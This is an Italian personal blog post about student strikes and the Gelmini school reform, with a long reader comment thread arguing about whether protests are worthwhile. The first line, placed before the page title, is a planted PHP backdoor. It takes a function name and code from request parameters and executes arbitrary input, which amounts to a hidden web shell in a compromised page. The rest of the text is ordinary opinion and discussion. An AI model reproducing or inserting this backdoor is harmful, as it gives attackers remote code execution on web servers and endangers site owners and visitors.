if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['d37f062be323b6a488879b979d14843a']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Come se servisse a qualcosa | Confessioni di Una Mente Dubbiosa

Come se servisse a qualcosa

Io non ho mai sopportato le manifestazioni studentesche.
Non metto in dubbio che ognuno abbia il diritto di protestare, per carità, ma quando si parla di studenti sono quasi sicura che più della metà dei partecipanti stia là perché così non va a scuola. E’ sempre stato così e sempre sarà. Punto.
Dite voi, ma che sarà mai, l’avrei fatto pure te.
E qui vi voglio, perché io non l’ho mai fatto.
Avevo le idee ben chiare già ai tempi del liceo, non ho mai fatto uno sciopero (che uno studente “in sciopero” è la cosa più ridicola che abbia mai sentito), non sono mai andata ad una manifestazione ed ero quella che si presentava la mattina a scuola per far presenza anche quando tutti decidevano di non venire, per questo o quest’altro motivo che in nessun futuro prossimo, remoto o parallelo che fosse ci avrebbe danneggiato.
Nella mia scuola non si è mai occupato, al massimo ci concedevano quella settimana di autogestione per farci felici, qualcosa di già previsto e considerato, come una gita a primavera, qualche giorno di pausa che anche i professori aspettavano con ansia.
Io ho sempre partecipato, che va bene tutto ma se c’è da bighellonare sono la prima, ma il quarto anno ho votato no e fatto lezione mentre tutto il resto della scuola se la spassava e l’ultimo anno fui una delle sostenitrici del no più assoluto, visto che noi eravamo le quinte e a noi spettava la decisione.
E, sempre l’ultimo anno, mi infuriai con una ragazzina, tutta vestita di giallo e nero, che sotto le nostre finestre aveva appeso uno striscione con scritto “No scuola S.p.a”, urlando con tanto di megafono, perché alla mia domanda oh, apemaia, hai una vaga idea del perché stai protestando? diventò tutta rossa e cominciò a borbottare qualcosa su Che Guevara e su come io fossi, ovviamente, una fascista.
Forse (forse) la maggior parte dei ragazzi che protestano sa di cosa parla la riforma e quali siano gli effettivi cambiamenti, ma ho il sospetto che siano informati giusto perché se arrivano le telecamere di Studio Aperto a chiedere poi ci fanno la figura degli ignoranti.

34 Responses to “Come se servisse a qualcosa”

  1. Alessia scrive:

    mamma mia quanto sei antipatica e fascistona

  2. MonicaGellerB scrive:

    Eh, Alessia, guarda, tu non sai, ma quando incontro qualcuno per strada io saluto col saluto romano.

  3. Charlotte scrive:

    Io sono molto più catastrofista. Secondo me il 90 % degli studenti che partecipa agli “scioperi” lo fa solo ed unicamente per non andare a scuola.
    E anche io non ho mai partecipato ad una manifestazione.

  4. Dafne scrive:

    “Eh, Alessia, guarda, tu non sai, ma quando incontro qualcuno per strada io saluto col saluto romano.”

    Cioè, gli dici “Aò, anvedi chiccé!!”?

  5. Griso scrive:

    Ti leggo sempre con piacere, ma oggi mi sa che un paio di cose sbagliate le hai scritte.

    Stanno pisciando sul nostro sistema di istruzione (e penso tu sia una studente, una persona quindi presa in causa), e ben vengano le persone in piazza. Se anche la metà è consapevole di quello che sta facendo, è una cosa più che giusta manifestare.

    Poi i nullafacenti ci saranno sempre. Ma questa volta non è l’occupazione per allungare le feste di natale, tantopiù che anche gli insegnanti sono lì in piazza.

    D’accordo su quelli uber-politicizzati che sono odiosi e vivono fuori dal tempo, ma proprio contro questa manifestazione io non mi sento di dir nulla.

  6. Spinoza scrive:

    Anche io sono un poco perplesso. È vero che quando andavo al liceo si scioperava perché non funzionavano i riscaldamenti, però stavolta le cose si fanno serie. E magari è vero che molti non sanno contro cosa protestano, ma ci sono anche molti che sono veramente preparati. Specie qui all’università dove studio/lavoro io.

    Magari ti ha detto sfiga con le persone che hai incontrato tu personalmente.

  7. MonicaGellerB scrive:

    A me non pare di aver chiamato in causa questa manifestazione specifica, non sono entrata nell’argomento, semmai gli ultimi avvenimenti li ho presi come spunto per dire che le manifestazioni studentesche non mi convincono.
    Lo dico, e lo ripeto, da una posizione super partes, senza nessun tipo di coinvolgimento politico perché 1- non me ne può fregare di meno 2- non è questo il luogo adatto: quando scendono in piazza gli studenti io ho la sensazione che siano lì per saltare ore di scuola.
    A me piacerebbe tanto fare un esperimento, putroppo impraticabile: dire ad ognuno di loro “protestate, scendete in piazza, fate casino, fate quello che volete, ma dovete recuperare comunque le ore perdute”.
    Vorrei vedere quanti scenderebbero in piazza con queste premesse.

    E il mio discorso, il mio fastidio, è prettamente scolastico, prescinde da coinvolgimenti politici perché se fossi studentessa liceale oggi a me girerebbero i coglioni veder sputtanare tutte queste lezioni per andare ad urlare in piazza pur sapendo che, quasi sicuramente (il quasi c’è per lasciarsi comunque il beneficio del dubbio), tutto sto macello non cambierà niente.

  8. Sidhe scrive:

    Monica ti quoto in pieno. Gli ultimi due venerdì passando per la manifestazione che partiva da piazza Castello (ci passo per andare a lavoro) gli unici commenti che ho sentito erano tutte varianti ” Oh ma io mica me la faccio la manifestazione, vado da Mac per un panino” roll

  9. ruccia scrive:

    Completamente d’accordo. Detto da una che gli scioperi li faceva: so bene dunque quanta poca informazione ci sia dietro. Tra l’altro quando arrivano le telecamere di Studio Aperto, se ci fate caso, dicono tutti le stesse cose: il solito indottrinamento ideologico!

  10. Joy scrive:

    Ricordo come fosse ieri la vergogna che provai, assieme a due compagne di classe, quando dopo 2 giorni di occupazione decidemmo di tornare in aula per continuare le lezioni. Eravamo appunto in 3, e tutta la scuola a deriderci come fossimo state delle appestate sfigate. Me la ricorderò per sempre quella sensazione di disagio. Per carità, che occupino pure la scuola ma senza trattare da mer*e chi decide di non partecipare.

  11. LeggeParziale scrive:

    Come in tutte le cose e circostanze, credo sia la singola persona a contare.
    Ecco, tolte quelle dotate di intelligenza, consapevolezza, preparazione che mi pare non siano minimamente chiamate in causa da questo post, penso Monica volesse riferirsi solo a quei ragazzi che più che saltare la scuola saltano cantando “Bella ciao” per poi magari venire intervistati sparando una sfilza di “cioè, no, tipo che…”.
    Detto questo, ovvio che si è tutti d’accordo nel voler sostenere chi MERITA i finanziamenti, GIOVANI, e sottolineo GIOVANI, scienziati in primis.

  12. thestral scrive:

    Joy, ai miei tempi, più di venti anni (sigh), anch’io ero contro le occupazioni che non hanno mai risolto niente (le nostre). Ma ero anche convinto che entrare in due o tre persone fosse lo stesso inutile perché manco si faceva lezione. Me ne andavo a spasso e basta

  13. Gandalf scrive:

    Monica, io ci aggiungerei che in tutto questo chi ci rimettera’ saranno gli studenti piu’ poveri: quelli ricchi riusciranno a recuparare le ore perse pagandosi corsi di recupero se non persino i prof per passare gli nesami, mentre quelli poveri salteranno l’anno…

    Il dovere di ogni studente e’ studiare ad ogni costo… AD OGNI COSTO!!!! E lasciare i “grandi” fare il resto…

  14. Joy scrive:

    @thestral, pensa che io ne approfittai per farmi interrogare, in quei giorni. Il fatto di non avere 20 persone attorno mi faceva stare più tranquilla, credo sia stata l’interrogazione migliore di tutta la mia vita wink

  15. MonicaGellerB scrive:

    Joy, stavo per dirlo io, anch’io approfittavo delle autogestioni per mettermi d’accordo con i prof sulle interrogazioni, proprio perché mi sentivo meglio senza tutta la classe che ascoltava.

  16. Mbee scrive:

    Non posso parlare in generale, perché questo è il primo sciopero al quale ho aderito, quinda la mia opinione sull’argomento è strettamente legata ad un singolo episodio (questa riforma).
    Personalmente, so perché si sciopera, e non sopporto chi entra a scuola quando si decide di scioperare.
    Poi, sicuramente, tu eri una liceale simpaticissima e non mi saresti mai stata sulle scatole eh =P

  17. Joy scrive:

    @Mbee, ecco, ne approfitto (visto che non l’ho capito ai tempi) e chiedo a te visto che ci sei ancora dentro (beata gioventù!): come mai chi non fa occupazione o chi non sciopera sta sulle balle?

  18. MonicaGellerB scrive:

    Ecco, mettiamo le cose in chiaro: come può danneggiarvi una persona che decide di non scioperare? Partendo dal presupposto che scioperare parte dalla volontà di manifestare il proprio parere, il proprio dissenso, e nessuno vi dice niente, nessuno ve lo impedisce (perché sì, mi dava fastidio ma non ho mai fatto polemiche, voglio dì, chissenefrega), perché esprimere il MIO dissenso e il mio parere in un modo diverso da quello degli altri non va bene?
    E’ chiaro che come io dico che trovo inutile manifestare chi lo fa può dire benissimo che trova inutile non manifestare, ma, personalmente, non ho mai preso in antipatia chi scendeva in piazza, anche per una di queste persone era la mia migliore amica.

    Questa è una cosa che non ho mai capito, se non scioperi o non manifesti sei una secchiona, una rompiballe, una guastafeste. Io esprimevo il mio dissenso presentandomi alle otto, facendo presenza e poi andandomene, perché, essendo l’unica, cazzo ci facevo lì, ma non ho mai rotto le palle a nessuno perché ero l’unica a presentarmi, o perché era una stronzata perdere un giorno di scuola o chissà quali polemiche. E non ero nemmeno secchiona, era proprio una questione di correttezza.

  19. Mbee scrive:

    Rispondo sempre dando la mia opinione, sia chiaro, quindi non prendete per oro colato quello che scrivo.
    Mi riferisco a questi scioperi, quelli provocati dalla riforma gelmini.
    Questa riforma tocca tutti noi studenti (dalle elementari all’università), e trovo assurdo che per fare presenza un giorno a scuola, si decida di non agire in modo compatto col resto della classe/della scuola.
    Una presenza in più sul registro, a mio parere, non cambia nulla. Forse si può dire lo stesso degli scioperi di questi giorni, ma intanto io sono fiera di poter dire che ho aderito, che non ci sto a fare finta di nulla, sedendomi al banco come se nulla fosse.

    Non dico che tutti quelli che entrano a scuola siano dei secchioni, per carità. Anche io a volte ho insistito per entrare a scuola, nonostante fossimo magari in 3 in classe, perché non ero d’accordo col resto dei ragazzi. Ma non penso proprio che in questo caso si possa essere in disaccordo.

  20. MonicaGellerB scrive:

    Io, ripeto, fossi liceale oggi entrerei in classe, perché il mio non è un discorso politico, un problema di riforme, il mio è un problema prettamente scolastico: a me girerebbero le palle se si dovessero perdere ore e ore di lezione per una manifestazione e IO esprimo il mio dissenso entrando in classe.
    Che il ministro sia Fioroni, che sia la Gelmini, che sia La Pimpa o Batman, che facciano quello che vogliono, io sono cinica e disincatata, protestare non serve a niente – triste verità – e lo dimostra il fatto che il decreto è diventato legge.

    Il mio era un discorso generale, la riforma e gli ultimi avvenimenti erano un pretesto per parlare dell’argomento, ma se vogliamo attenderci agli ultimi fatti e alle ultime proteste, dopo questo io ne rimango quasi schifata.

    E sì, è chiaro che ci sono persone e persone e che non tutti sono così, ma se si vuol passare per il gruppo coeso, unito, che si ritrova in massa per combattere un unico “nemico”, ci si deve prendere anche la responsabilità del fatto che dopo certi avvenimenti è normale che ci siano dubbi su quanto ci sia di “nobile” in queste proteste.

  21. Mbee scrive:

    Che ci siano i cretini che approfittano delle situazioni per dare sfogo ai loro ingiustificabili istinti animali, beh si sa..
    Che tu possa credere che siano inutili le proteste, ci poss stare.. Neppure io sono convinta che OGNI protesta equivalga ad una vittoria in automatico, ma almeno posso dire di averci provato, di non essermi piegata.
    Quello che non capisco è: come esprimi il tuo dissenso, entrando in classe?

  22. nephie scrive:

    Per certi versi sono d’accordo con te, sinceramente.
    Al liceo provavo un profondo fastidio a sentire le assemblee scolastiche di inizio novembre (perché sempre a novembre cominciavano), perché semplicemente mi sembrava si arrotolassero sempre e solo sulle solite parole vuote senza senso. Per tutti e cinque gli anni in cui sono stata al liceo ci sono state le occupazioni di Natale. E solo ad una ho dato supporto, perché mi sembrava avesse giuste cause. Per tutte le altre, pieno disaccordo. E mi opponevo personalmente ai rappresentanti d’istituto perché parlavano di democrazia, ma poi facevano le votazioni per decidere dell’occupazione fuori la scuola, mentre gran parte degli studenti era tra i banchi. Così si decidevano le occupazioni. E non solo una volta sono stata fuori a protestare per le elezioni fasulle.
    Tant’è che oggi – dopo la mia esperienza liceale – dò più credito a Studio Aperto che alle manifestazioni di piazza degli studenti delle superiori (meno di meno mille, insomma).

    Solo che questa volta mi pare sia un po’ diverso per due motivi:
    1. I tagli sono troppo generici e profondi (e così non si risolvono i problemi di spreco che esistono nelle scuole)
    2. Le università si stanno mobilitando (e da studentessa universitaria ormai quasi in pensione dico che è molto difficile che studenti universitari abbiano piacere a perdere lezioni).
    Ora: è vero che una parte è fomentata da professori che perderebbero altrimenti i propri privilegi; una parte è fomentata dal proprio credo politico e basta; una parte è fomentata dal gusto della rivolta e basta; e larga parte in questi giorni ha seguito le lezioni normalmente, senza alcun problema. Ma un pochino si ha ragione a protestare (soprattutto – per come la vedo io – per il fatto che i tagli siano stati deliberati senza alcuna concertazione).

    Scritto questo lunghissimo commento – scusa, scusa!! – io protesto perché nell’università il 50% degli amministrativi non fanno altro che rubarsi lo stipendio. Tagliamo loro e diamo i soldi ai ricercatori che sono davvero capaci.

    ;-)

  23. MonicaGellerB scrive:

    Mbee, inevitabilmente “ti pieghi” perché non è che ora che c’è la riforma te pigli e non vai più a scuola per protesta. Ti adegui, come fanno tutti, a malincuore secondo certi punti di vista, ma c’è poco da fare, no?

    Entrare in classe quando sei l’unica a farlo e quando tutti danno per scontato che non ci sia anima viva è il mio modo per far vedere che non sono d’accordo con le manifestazioni. Se vuoi vederlo come un gesto simbolico fai pure, ma non è che vale meno del “vostro” perché non vado in giro ad urlare per le strade.

    Ti ripeto, come ho detto all’inizio del post, fino a prova contraria non siamo in una dittatura e la liberta d’espressione e di manifestazione c’è ancora, ma non è giusto sminuire il mio di dissenso (mio, e parlo a nome di quei pochi studenti che la pensano come me) solo perché, a quanto pare, faccio parte della minoranza.

    E lo ridico, per l’ennesima volta, il mio parere e i discorsi che ho fatto fino ad ora prescindono da qualsiasi schieramento, non mi interessa fare demagogia spicciola.

  24. MonicaGellerB scrive:

    nephie, non ho mai pensato che non sia giusto incazzarsi per una riforma che probabilmente farà più danni che altro, dico che secondo me protestare pubblicamente, andare in piazza, fare caciara è una totale perdita di tempo, sopratutto alla luce dei fatti, visto che non è servito a niente.
    Poi, per carità, ci saranno studenti che ci credono e che si sentono meglio giusto per averlo fatto, e io non vado di certo in piazza a dire loro che fanno una stronzata, ci mancherebbe, ma questo è quello che penso, non ci posso fare niente…

  25. Mbee scrive:

    Ti ripeto, io non parlo in generale, ma mi riferisco a quanto sta succedendo in questi giorni.
    Non so tu come ti saresti sentita se, ad un anno dalla scelta dell’università, tutto fosse andato allo sfascio.
    Ecco, ti spiego quello che mi passa per la testa: per quale cavolo di motivo dovrei decidere cosa studiare per i prossimi 5 anni, se già so che sarà uno schifo, che questa riforma avrà delle conseguenze disastrose?
    E’ una sensazione di smarrimento difficile da spiegare.
    E’ ovvio che continuerò ad andare a scuola.
    Ma almeno potrò dire che IO ho provato a fare in modo che le cose non andassero così.
    Forse non servirà ad farmi stare meglio, lo schifo che provo ora difficilmente andrà via, ma intanto è già qualcosa.
    Chi è entrato a scuola, facendo finta di nulla, non potrà dire lo stesso. Tutto qua.

  26. MonicaGellerB scrive:

    Se io fossi entrata a scuola e avessi fatto finta di nulla, come dici tu, in futuro non mi sarei lamentata. Sono molto fatalista, passami il termine, se deve andare così c’è poco da fare, non ho votato per questo governo (ed è triste che io mi senta in dovere di specificarlo per non venire fraintesa) e posso essere in disaccordo quanto vuoi, ma trovo inutile lamentarsi.
    E non lo dico perché sono “un’universitaria in pensione”, come nephie – e, diciamoci le cose come stanno, a me non è che mi danneggia più di tanto – lo dico perché è una cosa in cui ho sempre creduto: lamentarsi su queste cose non serve a niente.

    Che poi per qualcuno sia giusto farlo, Mbee, te lo ridico, buon per te, nel senso che credi in qualcosa e lo rispetto, ma non posso andare oltre, non posso sentirmi d’accordo.

  27. Mbee scrive:

    Ok, ci tenevo che tu capissi il mio punto di vista, tutto qua )
    E’ che sono suscettibile riguardo all’argomento, ho odiato la manipolazione fatta dai vari tiggì, non è vero che siamo tutti dei caproni ignoranti che pur di saltare un’ora di greco venderebbero la madre.
    Ultima cosa: non ti avrei fraintesa, anche senza precisazione.

  28. MonicaGellerB scrive:

    Il mio dubbio sul fatto che la maggior parte non sappia nemmeno perché protesta non implica che siano tutti dei caproni.
    I luoghi comuni purtroppo ci sono dovunque ed è difficile che si riesca a sfatarli.

    Se poi il tiggì è Studio Aperto…vabbè, non c’è bisogno di aggiungere altro.

  29. Mbee scrive:

    Ghhhh, Studio Aperto Ghhhh.. (smorfie di estremo disappunto ) ).

    Anche il Tg5 ha sfoggiato qualità, ahimè, tutt’altro che inaspettate riguardo le manifestazioni (

    Cooooomunque, ti voggghio bbbene lo stesso =D

  30. MonicaGellerB scrive:

    Oh grazie Mbee…

    Comunque, credo che per guardare un tg al limite della decenza ci si debba sintonizzare su La7. O, per chi può, SkyTg24, ma ultimamente loro stanno proprio sul limite.

  31. nephie scrive:

    Beh, io sono giorni che dico che, invece che andare in piazza tutte le mattine, gli studenti universitari e i profss potrebbero anche pensare di fare una specie di disegno programmatico (qualcosa tipo una proposta di linee guida) in qualità di tecnici (e non di politici) su come redistribuire i tagli.
    Ma forse è una cosa troppo evoluta (o impossibile, chissà).
    Comunque, un’ultima cosa: è evidente che serve più coraggio a dissentire da uno sciopero che a parteciparvi senza interesse. Siamo tutti vittime della spirale del silenzio.
    ;-)

  32. Lobster scrive:

    Anche io leggo sempre con grande piacere i tuoi post, ma questo devo dire che mi ha un po’ perplesso.
    E in questo senso concordo con Griso. E con Mbee.

    Partendo dal presupposto che ovviamente ognuno ha la propria idea ed è liberissimo di esprimerla. E non ho nulla contro il fatto che tu ritenga inutili le manifestazioni e che di conseguenza non manifestassi.

    Però essendo parte degli studenti che stanno protestando, mi sento un attimo presa in causa quando ti leggo ‘quasi sicura che più della metà dei partecipanti stia là perché così non va a scuola’. Posso assicurare che non è così, ciascuna delle persone che conosco che prendono parte a questi cortei e altre iniziative sanno perfettamente per cosa sono lì e ci credono sul serio – ed essendo tra chi organizza, ne conosco davvero molte.

    Chi vuole solo saltare scuola, e non dico non ce ne siano, non viene sicuramente a manifestare – perché comunque non è una passeggiata, piuttosto sta a casa, a letto o esce con gli amici.

    E anche la mia scuola non occupa praticamente mai, perché non è un atto da fare con superficialità, ma quest’anno ad esempio lo abbiamo fatto. Perché ci crediamo davvero. E proprio per questo abbiamo tentato di renderla un’azione il più culturalmente e qualitativamente alta. Organizzando gruppi, dibattiti e lezioni durante i vari giorni. Ti assicuro che non è facile o semplice gestire una situazione di occupazione e non la si è fatta certo con leggerezza, chis i è preso questo onere si è imoegnato moltissimo e perché gli dava valore.
    Non certo per perdere un po’ di ore di lezione, che tanto in qualche modo dovremo recuperare.

    Scusa se ho scritto tanto e se ti ho risposto così direttamente, ma mi son sentita un po’ punta sul vivo.

  33. Alianorah scrive:

    Sicuramente i tuoi compagni di scuola ti adoravano…

  34. MonicaGellerB scrive:

    Alianorah, per fortuna ai tempi i miei amici erano abbastanza intelligenti per non giudicare una persona in base al fatto che faccia o non faccia uno sciopero.

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